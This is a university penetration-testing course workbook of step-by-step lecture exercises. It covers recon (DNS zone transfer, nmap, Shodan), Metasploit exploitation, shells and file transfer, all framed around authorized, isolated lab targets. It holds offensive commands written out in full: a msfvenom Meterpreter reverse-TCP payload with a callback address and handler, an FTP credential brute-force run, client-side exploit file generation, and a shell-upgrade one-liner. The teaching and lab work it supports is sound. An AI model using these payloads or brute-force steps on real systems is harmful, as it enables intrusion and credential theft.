IHU Cybersecurity Exam Notes

Source: Juni_2026_Exams/Penetration_Testing/notes/02-lecture-exercises-step-by-step.md

Lecture Exercises - Step-by-Step Workbook

How to Use This Workbook

For each exercise, write:

Date:
Source PDF/page:
Target/scope:
Commands:
Observed result:
Explanation:
Screenshot/transcript:

Lecture 1 - Scope and Lab Orientation

Source: PENTEST_2026_01.pdf

  1. Read the rules of engagement and identify the authorized network, time

window, prohibited actions, and reporting requirement.

  1. Connect to the university lab as instructed.
  2. Confirm only the supplied host is reachable:

``bash ip addr ip route curl -i http://<LAB_HOST> ``

  1. Record the VPN interface and route. Do not scan outside the stated range.

Learning goal: scope is a technical control, not paperwork. A correct command against an unauthorized host is still incorrect.

Lecture 2 - Linux Fundamentals

Source: PENTEST_2026_02.pdf, pages 9-15.

Exercise 2.1 - Navigation, Users, and Permissions

pwd
ls -la ~
ls --help | less
id
who
last | head

Create the requested test user only in the disposable lab VM:

sudo adduser <LAB_USER>
getent passwd <LAB_USER>
sudo deluser --remove-home <LAB_USER>

Explain /etc/passwd versus /etc/shadow; password hashes are normally in the root-readable /etc/shadow, not /etc/passwd.

Exercise 2.2 - Files, Redirection, and Ownership

touch greeting.txt
echo "Hello <NAME>"
echo "Hello <NAME>" > greeting.txt
cat greeting.txt
echo "I am <AGE> years old" >> greeting.txt
ls -l greeting.txt
chmod u+rw greeting.txt

Use > to replace and >> to append. Log in as the lab user only if the exercise requires it, then verify whether ownership and permissions allow an edit.

Exercise 2.3 - Editing and CSV Processing

Download only from the current lab host:

curl -fLO http://<LAB_HOST>/proxylist.csv
head proxylist.csv
wc -l proxylist.csv
awk -F',' 'NR==1 {print NF; print $0}' proxylist.csv

Inspect the header before choosing field numbers:

awk -F',' '$<PORT_FIELD> == 8080 {print $<IP_FIELD>}' proxylist.csv
cut -d',' -f <PORT_FIELD> proxylist.csv | sort | uniq -c | sort -nr | head

Explain each pipeline stage. Do not blindly copy field numbers from an old file version.

Exercise 2.4 - Domain Cleanup and Resolution

curl -fLO http://<LAB_HOST>/domains
wc -l domains
sort -u domains > domains2
grep -E '^[A-Za-z0-9.-]+\.[A-Za-z]{2,}$' domains2 > domains3
while read -r domain; do
  host "$domain"
done < domains3 | tee resolution.txt
grep 'has address' resolution.txt

Compare total, unique, valid-looking, and resolving entries.

Exercise 2.5 - Automation and Services

For a supplied CSV, first inspect it, then extract the domain column:

head <FILE.csv>
cut -d',' -f <DOMAIN_FIELD> <FILE.csv> | sort -u | head -n 20

Resolve and test only lab-authorized hosts. Do not ping public threat-feed entries merely because an old slide shows that pipeline.

ps aux
sudo systemctl start apache2
sudo systemctl enable ssh
ss -lntup
systemctl status apache2 --no-pager

Learning goal: text processing, repeatability, and verification.

Lecture 3 - Passive Reconnaissance and DNS

Source: PENTEST_2026_03.pdf.

Public-information exercises still require care: collect only what the course asks for and do not publish personal data in this repository.

Use organization pages and search engines to identify administrative roles. Record the query, source URL, date, and role. Do not collect unrelated personal details.

Exercise 3.2 - theHarvester

theHarvester -d <AUTHORIZED_DOMAIN> -b all -f harvester-report

If -b all is unsupported, list sources with theHarvester -h and select available passive sources. Separate discovered emails, hosts, and IPs.

Exercise 3.3 - Search Operators

Construct queries for:

site:<domain> -www
link:<domain>
site:<domain> filetype:pdf
site:<domain> inurl:login

Search-engine behavior changes; explain the intent even when an operator is ignored.

Exercise 3.4 - Google Hacking Database

Review GHDB categories related to login portals and exposed credentials. Do not attempt authentication or access files beyond the authorized task. Document the dork and why it may expose risk.

Exercise 3.5 - Metadata

Download a publicly available document selected by the exercise:

exiftool <DOCUMENT>
pdfinfo <DOCUMENT>

Record author, software, creation/modification fields, and embedded paths if present. Explain how software versions or usernames may support later testing.

Exercise 3.6 - RIR Lookup

Choose the correct Regional Internet Registry, then:

whois <COMPANY_IP_OR_ASN>

Record net range, organization, country, ASN, and abuse contact. A company name alone may require searching the RIR portal first.

Exercise 3.7 - Domain WHOIS

whois apple.com
whois coco-mat.com
whois <THIRD_DOMAIN>

Compare registrar, nameservers, dates, DNSSEC, and privacy redaction.

Exercise 3.8 - DNS Enumeration and Zone Transfer

dig NS zonetransfer.me
dig AXFR zonetransfer.me @<AUTHORITATIVE_NS>
host -l zonetransfer.me <AUTHORITATIVE_NS>

AXFR is appropriate here because zonetransfer.me is designed for testing. For other domains, remain within course authorization.

Exercise 3.9 - Bash Subdomain Check

while read -r label; do
  host "${label}.<AUTHORIZED_DOMAIN>"
done < list.txt | grep 'has address'

Use a small word list provided by the exercise. Record resolving names and remove duplicates.

Exercise 3.10 - DNSRecon

dnsrecon -d zonetransfer.me -t axfr
dnsrecon -d <AUTHORIZED_DOMAIN> -t crt

Check dnsrecon -h before using search-engine enumeration modes because supported modes and API requirements vary by version.

Exercise 3.11 - Recon-ng

recon-ng
marketplace search profiles
marketplace install <MODULE>
modules load <MODULE>
info
options set <OPTION> <VALUE>
run
show profiles

Module names and marketplace availability change. Use marketplace search rather than relying on an old exact path.

Exercise 3.12 - Netcraft

Use the Netcraft Site Report for the assigned university domains. Record hosting, network, technologies, certificates, and historical changes. Treat third-party results as leads requiring verification.

Exercise 3.13 - Shodan

Build queries for:

port:8443
product:MikroTik country:GR
org:"<AUTHORIZED_ORGANIZATION>"

Use Shodan as a passive index. Do not connect to discovered third-party hosts.

Lecture 4 - Active Reconnaissance

Source: PENTEST_2026_04.pdf.

Exercise 4.1 - tcpdump Filters

sudo tcpdump -ni any 'tcp and host <AUTHORIZED_HOST>'
sudo tcpdump -ni any 'udp and src host <DNS_SERVER>'

Generate known traffic in another terminal and prove that the filter captures only the intended protocol and direction.

Exercise 4.2 - ping and hping3

ping -c 4 <LAB_HOST>
sudo hping3 -S -p 80 -c 3 <LAB_HOST>

No ping response does not prove a host is down. Compare ICMP and TCP results.

Exercise 4.3 - Nmap Host Discovery

nmap -sn <AUTHORIZED_RANGE>
nmap -Pn -p 22,80,443 <SINGLE_LAB_HOST>

Use -Pn only when testing a known in-scope host that may block discovery.

Exercise 4.4 - Route Discovery

Windows:

tracert <LAB_HOST>

Linux:

traceroute <LAB_HOST>
sudo nmap --traceroute -sn <LAB_HOST>

Compare hops and explain missing * responses.

Exercise 4.5 - Port Scanning

nmap -sn <LAB_SUBNET> -oA discovery
nmap -sV -p- <LAB_HOST> -oA all-ports
nmap -sC -sV -p <OPEN_PORTS> <LAB_HOST> -oA detail

Build a host/port/service/version table.

Exercise 4.6 - Service and OS Identification

sudo nmap -O --osscan-guess <LAB_HOST>
nmap -sV --version-all <LAB_HOST>

Nmap fingerprints are probabilistic. Record confidence and supporting service evidence instead of claiming certainty.

Exercise 4.7 - Banner Grabbing

nc -nv <LAB_HOST> <PORT>
telnet <LAB_HOST> <PORT>

For HTTP, send a valid request:

printf 'HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -nv <LAB_HOST> <PORT>

Exercise 4.8 - NSE

nmap --script broadcast <AUTHORIZED_RANGE>
nmap -p 21 --script ftp-vsftpd-backdoor <LAB_HOST>

Verify the service/version first. NSE vulnerability scripts can be intrusive; run only the named scripts required by the lab.

Lecture 5 - Exploitation and Metasploit

Source: PENTEST_2026_05.pdf.

The extracted deck labels the document-metadata task as Exercise, then continues at Exercise 3; no distinct Exercise 2 heading is visible. The numbering below preserves the source labels.

Exercise 5.1 - Public Document Software Clues

Use an assigned document search, download a document, and inspect metadata:

exiftool <DOCUMENT>

Software metadata is a hypothesis, not proof that the whole organization uses that exact version.

Exercise 5.3 - Searchsploit

The deck labels this as Exercise 3.

nmap -sV -p 21 --open <AUTHORIZED_SUBNET>
searchsploit vsftpd

For each result, verify affected version, platform, exploit type, and prerequisites.

Exercise 5.4 - Load and Inspect a Module

search nitro reader
info exploit/windows/fileformat/nitro_reader_jsapi
use exploit/windows/fileformat/nitro_reader_jsapi
show options
show payloads

Do not generate or open a malicious document outside the disposable lab VM.

Exercise 5.5 - Metasploit Search Syntax

search name:adobe type:exploit
search cve:2017-0143 type:exploit
search type:auxiliary smtp

Read info and identify affected systems before selecting a module.

Exercise 5.6 - Database, db_nmap, and FTP Login Audit

sudo msfdb init
msfconsole
db_status
workspace -a lecture5
db_nmap -sV -p- <LAB_HOST>
hosts
services
use auxiliary/scanner/ftp/ftp_login
set RHOSTS <LAB_HOST>
set RPORT <FTP_PORT>
set USER_FILE <LAB_USER_LIST>
set PASS_FILE <LAB_PASSWORD_LIST>
run
creds

Use only lists supplied for the lab. The slide's singular service command should be services.

Exercise 5.7 - Meterpreter Payload and Handler

Only inside the isolated Windows lab:

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<KALI_LAB_IP> LPORT=4444 -f exe -o lab-payload.exe
python3 -m http.server 8000

Handler:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <KALI_LAB_IP>
set LPORT 4444
run

Verify the VM snapshot, network isolation, callback address, and process architecture. Delete generated payloads after the lab and never commit them.

Exercise 5.8 - Server-Side Exploitation

  1. Scan the assigned server.
  2. Confirm product and version.
  3. Search for a matching module.
  4. Read info, set options, and run check if available.
  5. Execute only the authorized module.
  6. Record id/whoami and explain the obtained privilege level.

Exercise 5.9 - Client-Side Exploitation

The slides use an old Adobe PDF module. Treat this as a controlled lesson in client-side delivery:

  1. Read module information and affected versions.
  2. Use only the supplied vulnerable VM.
  3. Configure a callback on the isolated lab network.
  4. Generate the lab artifact.
  5. Start the matching handler.
  6. Open it only in the vulnerable VM.
  7. Verify the session and remove the artifact afterward.

Do not email, upload, or commit the generated file.

Lecture 6 - Shells and File Transfer

Source: PENTEST_2026_06.pdf.

Exercise 6.1 - Bind and Reverse Shell Behavior

Follow the topology assigned by the lecturer. After connecting:

whoami
hostname
pwd
ls -la
ip addr
tty

Test interactive limitations with clear, more, and a password prompt. Explain why a raw command shell lacks a pseudo-terminal. Do not assume nc -e exists; check nc -h and use the lab's specified Netcat build.

For Linux shell upgrade:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Exercise 6.2 - Remote SSH Installation on Windows

This exercise changes the target system. Perform it only on the disposable Windows lab VM and follow the lecturer's current OpenSSH procedure:

  1. Establish the authorized command shell.
  2. Check Windows version and administrator rights.
  3. Install/enable the OpenSSH Server capability.
  4. Start sshd and confirm the firewall rule.
  5. Connect from Kali with ssh <LAB_USER>@<WINDOWS_LAB_IP>.
  6. Remove or revert the VM snapshot after the exercise.

Exercise 6.3 - SMB Transfer

On the Windows lab, create only the requested temporary share. From Kali:

smbclient -L //<WINDOWS_LAB_IP> -U <LAB_USER>
smbclient //<WINDOWS_LAB_IP>/<SHARE> -U <LAB_USER>

Inside smbclient, use ls, put <FILE>, get <FILE>, and quit. Verify the hash at both ends:

sha256sum <FILE>

Exercise 6.4 - TFTP Transfer

TFTP has no confidentiality or authentication. Use it only because the lab teaches a legacy transfer path:

  1. Start the supplied TFTP service on Kali.
  2. Verify its bound interface and directory.
  3. Install/enable the client only on the Windows lab VM.
  4. Transfer the harmless exercise file.
  5. Compare file hashes and stop the service.

Exercise 6.5 - HTTP Transfer

Kali:

python3 -m http.server 8000 --directory <SERVE_DIRECTORY>

Windows PowerShell:

Invoke-WebRequest http://<KALI_LAB_IP>:8000/<FILE> -OutFile <FILE>
Get-FileHash <FILE> -Algorithm SHA256

Check the Python server log to prove the request occurred.

Final Practical Drill

Run a disposable lab target and complete this sequence without the long notes:

  1. Confirm scope and target.
  2. Discover all TCP ports.
  3. Enumerate each service.
  4. Complete web source/header/path/file/encoding checks.
  5. Connect to unknown services manually.
  6. Use Metasploit only after confirming a matching service/version.
  7. After a shell, enumerate interfaces, routes, listeners, and internal hosts.
  8. Record every finding immediately.

Use ../checklists/pentest-ctf-exam-checklist.md for the timed run.